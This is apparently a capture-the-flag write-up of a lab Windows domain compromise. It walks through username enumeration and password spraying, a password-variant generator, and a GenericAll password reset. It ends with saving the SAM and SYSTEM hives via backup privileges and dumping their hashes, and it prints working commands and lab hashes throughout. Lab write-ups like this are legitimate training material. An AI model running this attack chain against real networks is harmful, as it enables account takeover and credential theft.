

Middle Camp

The IT Team can't believe that you have made it past the first server. However, they feel confident that you won't make it much further. Use all of the information gathered from your previous findings in order to keep making your way to the top.

perform Nmap scan

```
nmap -sV -vv -sC <t-ip>
```

PORT	STATE	SERVICE	REASON	VERSION
53/tcp	open	domain	syn-ack ttl 127	Simple DNS Plus
88/tcp	open	kerberos-sec	syn-ack ttl 127	Microsoft Windows Kerberos (server t
ime: 2025-07-19 15:23:54Z)				
135/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 127	Microsoft Windows netbios-ssn
389/tcp	open	ldap	syn-ack ttl 127	Microsoft Windows Active Directory L
DAP (Domain: k2.thm0., Site: Default-First-Site-Name)				
445/tcp	open	microsoft-ds?	syn-ack ttl 127	
464/tcp	open	kpasswd5?	syn-ack ttl 127	
593/tcp	open	ncacn_http	syn-ack ttl 127	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	syn-ack ttl 127	
3268/tcp	open	ldap	syn-ack ttl 127	Microsoft Windows Active Directory L
DAP (Domain: k2.thm0., Site: Default-First-Site-Name)				
3269/tcp	open	tcpwrapped	syn-ack ttl 127	
3389/tcp	open	ms-wbt-server	syn-ack ttl 127	Microsoft Terminal Services
rdp-ntlm-info:				
Target_Name: K2				
NetBIOS_Domain_Name: K2				
NetBIOS_Computer_Name: K2SERVER				
DNS_Domain_Name: k2.thm				
DNS_Computer_Name: K2Server.k2.thm				
DNS_Tree_Name: k2.thm				
Product_Version: 10.0.17763				
System_Time: 2025-07-19T15:24:15+00:00				
ssl-cert: Subject: commonName=K2Server.k2.thm				
Issuer: commonName=K2Server.k2.thm				
Public Key type: rsa				
Public Key bits: 2048				

Now what we can do is the full name of 2 users we gathered in Base camp we wrote them in the file and then we used username-anarchy tool to generate a list of usernames. After that we used kerbrute to identify valid username and we found 2

```
(sheru@kali)-[~/thm]
$ ./kerbrute userenum --dc K2Server.k2.thm -d k2.thm k2/user.txt

Version: v1.0.3 (9dad6e1) - 07/19/25 - Ronnie Flathers @ropnop

2025/07/19 20:51:37 > Using KDC(s):
2025/07/19 20:51:37 > K2Server.k2.thm:88

2025/07/19 20:51:37 > [+] VALID USERNAME: r.bud@k2.thm
2025/07/19 20:51:38 > [+] VALID USERNAME: j.bold@k2.thm
2025/07/19 20:51:38 > Done! Tested 28 usernames (2 valid) in 0.827 seconds
```

Back in part one we obtained quite a few passwords, including those of rose and james, so maybe they re-used the same password here?

So we used netexec to check for valid password for user r.bud and j.bold

```
netexec smb K2Server.k2.thm -u r.bud -p pass.txt
```

```
(sheru@kali)-[~/thm/k2]
$ netexec smb K2Server.k2.thm -u 'r.bud' -p pass.txt
SMB 10.10.67.109 445 K2SERVER [*] Windows 10 / Server 2019 Build 17763 x64 (
name:K2SERVER) (domain:k2.thm) (signing:True) (SMBv1:False)
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:Pwd@9tLnRc3! STATUS_LOGON_FAI
LURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:VrMAogdfxW!9 STATUS_LOGON_FAI
LURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:PasSW0Rd321 STATUS_LOGON_FAIL
URE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:St3veR0xx32 STATUS_LOGON_FAIL
URE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:PartyAlLDaY!32 STATUS_LOGON_F
FAILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:L0v3MyDog!3! STATUS_LOGON_FAI
LURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:RdzQ7MSKt)fNaz3! STATUS_LOGON
FAILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:RMkaVgdfxhW!8 STATUS_LOGON_FA
ILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:jGXfA4I!QtKvpx STATUS_LOGON_F
FAILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\r.bud:PikAchu!IshoesU! STATUS_LOGON
FAILURE
SMB 10.10.67.109 445 K2SERVER [+] k2.thm\r.bud:vRMkaVgdfxhW!8
```

so now we checked on each protocol whether we have permissions or not with netexec and we found on winrm protocol we have permission

```
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has be
ll be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.10.67.109 5985 K2SERVER [-] k2.thm\r.bud:PikAchu!IshoesU!
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has be
ll be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.10.67.109 5985 K2SERVER [+] k2.thm\r.bud:vRMkaVgdfxhW!8 (Pwn3d!)
```

so we logged in via evil-winrm

```
evil-winrm -u 'r.bud' -i K2Server.k2.thm
```

Snooping Around

We land inside "C:\Users\r.bud\Documents" and find something interesting right away:

Now there are two files

Note was sent and James has already performed the required action. They have informed me that they kept the base password the same, they just added two more characters to meet the criteria. It is easier for James to remember it that way.

1. James's password meets the criteria.

Pending:

1. Give James Remote Access.

Hello James:

Your password "rockyou" was found to only contain alphabetical characters. I have removed your Remote Access for now.

At the very least adhere to the new password policy:

1. Length of password must be in between 6-12 characters
2. Must include at least 1 special character
3. Must include at least 1 number between the range of 0-999

according to these both files james password was rockyou and he added two new characters to keep up with the password policy so one of these would be a number and another would be a special character

so i asked gpt to make a script for me that can generate all the possible combination for me

Here is the script

```
import itertools

# Define the base password
base_password = "rockyou"

# Define the range of numbers and special characters to be added
numbers = '0123456789'
special_chars = '!@#$%^&*'

# Generate all combinations of numbers and special characters
combinations = list(itertools.product(numbers, special_chars))

# Generate all possibilities by adding the number and special character before or after the base password
passwords = []

for num, special in combinations:
    # Add number and special character before the base password
    passwords.append(f"{num}{special}{base_password}")
    passwords.append(f"{special}{num}{base_password}")

    # Add number and special character after the base password
    passwords.append(f"{base_password}{num}{special}")
    passwords.append(f"{base_password}{special}{num}")

# Print out all generated passwords
for password in passwords:
    print(password)
```

now after running the script we stored all combinations in a file and used netexec for this to find valid password

```
netexec smb K2Server.k2.thm -u j.bold -p james_pass.txt
```

```
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\j.bold:8@rockyou STATUS_LOGON_FAILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\j.bold:@8rockyou STATUS_LOGON_FAILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\j.bold:rockyou8@ STATUS_LOGON_FAILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\j.bold:rockyou@8 STATUS_LOGON_FAILURE
SMB 10.10.67.109 445 K2SERVER [-] k2.thm\j.bold:8#rockyou STATUS_LOGON_FAILURE
SMB 10.10.67.109 445 K2SERVER [+] k2.thm\j.bold:#8rockyou
```

Now we used bloodhound to enumerate the domain

```
bloodhound-python -u "j.bold" -p '#8rockyou' -d k2.thm -ns
10.10.67.109 --zip -c All
```

We found that the user j.bold has GENERICALL privileges over j.smith so we will reset the password of j.smith as we dont know his password

img

```
pcclient -U 'j.bold%#8rockyou' 10.10.77.91 -c 'setuserinf
o2 j.smith 23 Password1'
```

```
*Evil-WinRM* PS C:\Users\j.smith\Documents> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description                                     State
-----
SeMachineAccountPrivilege Add workstations to domain                     Enabled
SeBackupPrivilege     Back up files and directories                  Enabled
SeRestorePrivilege    Restore files and directories                  Enabled
SeShutdownPrivilege   Shut down the system                           Enabled
SeChangeNotifyPrivilege Bypass traverse checking                       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                  Enabled
*Evil-WinRM* PS C:\Users\j.smith\Documents>
```

j.smith has the "SeBackupPrivilege" and the "SeRestorePrivilege" enabled, which means we should be able to create a copy of the ntds.dit file and extract it, so we can examine it and get the Administrator's hash!

and

```
reg save HKLM\SYSTEM c:\SYSTEM
```

```
reg save HKLM\SAM c:\SAM
```

after they have successfully executed we use download command to download these files

```
download SAM  
download SYSTEM
```

```
impacket-secretsdump -system SYSTEM -sam SAM local
```

```
(sheru@kali)-[~/thm/k2]  
$ impacket-secretsdump -system SYSTEM -sam SAM local  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies  
  
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821  
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9545b61858c043477c350ae86c37b32f::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
[*] Cleaning up ...  
  
(sheru@kali)-[~/thm/k2]
```